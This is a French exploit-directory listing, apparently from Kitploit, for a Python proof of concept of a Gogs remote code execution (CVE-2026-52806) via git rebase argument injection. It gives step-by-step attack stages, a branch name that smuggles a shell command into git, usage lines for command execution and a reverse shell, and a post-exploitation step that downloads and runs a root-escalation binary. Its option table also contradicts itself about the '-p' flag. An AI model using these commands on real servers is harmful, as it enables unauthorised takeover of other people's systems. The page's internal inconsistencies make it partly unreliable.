Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-52806 — RCE Gogs via injection d'arguments dans git rebase (CWE-88) — PoC Python. CVE-2026-52806 | Kitploit
Outils/GitHubGitHub/portbuster1337/cve-2026-52806
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationExploitation d'Applications WebPost-ExploitationCTFTests d'IntrusionCommandement et ContrôleApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubportbuster1337/cve-2026-52806
613il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-52806

RCE Gogs via injection d'arguments dans git rebase (CWE-88) — PoC Python. CVE-2026-52806

Voir le dépôtSite web

Gogs RCE — Injection d'argument dans git rebase (CWE-88)

Exécution de code à distance authentifiée contre Gogs (<= 0.14.2 et 0.15.0+dev) via injection d'argument dans le flux de fusion de pull request.

CVE-2026-52806

Vulnérabilité

La fonction Merge() dans internal/database/pull.go passe le nom de la branche de base de la PR à git rebase sans séparateur --. Une branche nommée --exec=<COMMANDE> est interprétée par Git comme le drapeau --exec plutôt qu'un argument positionnel, ce qui entraîne l'exécution de sh -c <COMMANDE> après chaque commit rejoué pendant le rebase.

Comment l'exploit fonctionne

  1. Pré-vol — détermine si la cible exécute Gogs, identifie la version via le paramètre ?v= sur les assets statiques, et vérifie si l'inscription des utilisateurs est ouverte, protégée par captcha, ou désactivée.
  2. Authentification — si aucun identifiant n'est fourni, tente de s'enregistrer automatiquement (pas de captcha) ou si le captcha est activé, affiche un message demandant à l'utilisateur de créer un compte sur la page d'inscription de la cible et de relancer avec -u <nom_utilisateur> -pw <mot_de_passe>. Crée un jeton API via l'authentification Basic ou la page de paramètres web.
  3. Configuration du dépôt — crée un dépôt privé temporaire via l'API de Gogs et active Rebase avant fusion dans les paramètres.
  4. Manipulation des branches Git — initialise localement un dépôt git, pousse :
    • Une branche master avec un README
    • Une branche feature-* avec un commit divergent
    • Une branche malveillante nommée --exec=sh${IFS}.payload contenant un script qui exécute la commande de l'attaquant en arrière-plan
  5. Pull request — ouvre une PR de la branche feature vers la branche malveillante --exec=.
  6. Déclenchement — POST sur le point de terminaison de fusion avec merge_style=rebase_before_merging. Gogs exécute en interne git rebase --exec=sh${IFS}.payload, ce qui exécute la charge utile après chaque commit rejoué.

Prérequis

  • Python 3.6+
  • requests (pip install requests)
  • Installation locale de git

Utilisation

root@kitploit:~
python3 gogs.py <cible> [options]

Vérification pré-vol

root@kitploit:~
python3 gogs.py http://cible:3000 --preflight-only

Rapporte :

  • Inscription : ACTIVÉE (pas de captcha) — peut s'enregistrer automatiquement
  • Inscription : ACTIVÉE (CAPTCHA DÉTECTÉ) — créez un compte manuellement sur la page d'inscription de la cible, puis fournissez les identifiants avec -u / -pw
  • Inscription : DÉSACTIVÉE — nécessite des identifiants existants d'un administrateur

Exécuter l'exploit

root@kitploit:~
# Auto-enregistrement + exécuter une commande
python3 gogs.py 10.0.0.1:3000 --cmd "id > /tmp/pwned.txt"

# Compte existant
python3 gogs.py 10.0.0.1:3000 -u attaquant -p Password123 --cmd "whoami"

# Shell inversé
python3 gogs.py 10.0.0.1:3000 -u attaquant -p Password123 --listener 10.0.0.2:4444

# Captcha activé : créez un compte sur la page d'inscription de la cible, puis utilisez les identifiants
python3 gogs.py 10.0.0.1:3000 -u monutilisateur -pw monmotdepasse --cmd "id"

# Si la connexion avec les identifiants échoue, passez le cookie de session directement
python3 gogs.py 10.0.0.1:3000 --cookie "i_like_gogs=abc123..." --cmd "id"

Options

Post-Exploitation

Une fois que vous avez un shell sur la cible, le processus Gogs s'exécute généralement sous un utilisateur à faibles privilèges (par ex. git dans Docker). Pour tenter une escalade de privilèges vers root, téléchargez et exécutez le binaire lpe-toolkit depuis la page des releases du projet :

root@kitploit:~
# Depuis votre session shell :
wget https://github.com/portbuster1337/lpe-toolkit/releases/latest/download/lpe-toolkit-linux-amd64
chmod +x lpe-toolkit-linux-amd64
./lpe-toolkit-linux-amd64

Le toolkit énumère les exploits noyau, les mauvaises configurations et autres vecteurs d'escalade courants.

Références

  • Article du blog Rapid7 — Exécution de code à distance authentifiée via injection d'argument dans Gogs (non corrigé)
  • Module Metasploit — exploit/multi/http/gogs_rebase_rce de Rapid7 par Jonah Burgess (CryptoCat) (PR #21515)
  • GHSA — qf6p-p7ww-cwr9 (gogs/gogs)
  • Gogs — https://github.com/gogs/gogs

Ce PoC Python est inspiré du module Metasploit publié. La vulnérabilité a été découverte et divulguée de manière responsable par Jonah Burgess (CryptoCat) chez Rapid7.

Avertissement

Cet outil est fourni à des fins éducatives et pour des tests de sécurité autorisés uniquement. Toute utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite est illégale. Les auteurs ne sont pas responsables de toute utilisation abusive ou de tout dommage causé par ce logiciel.

Remarque

L'API de Gogs ne prend pas en charge la suppression de jetons. Par conséquent, tous les jetons d'accès API créés pendant l'exploitation persisteront et doivent être supprimés manuellement à l'adresse /user/settings/applications sur l'instance cible.

Télécharger l’outil
  • Nettoyage — supprime le dépôt temporaire et les fichiers temporaires locaux.
  • DrapeauDescription
    targetHôte[:port] (ex. 47.109.58.140:9000)
    -p, --portPort HTTP (par défaut : 3000)
    -u, --usernameNom d'utilisateur Gogs
    -pw, --passwordMot de passe Gogs
    --cookieChaîne du cookie de session
    --cmdCommande à exécuter sur la cible
    --listenerShell inversé hôte:port
    --lhost / --lportHôte et port du shell inversé
    --sslUtiliser HTTPS
    --preflight-onlyExécuter uniquement les vérifications pré-vol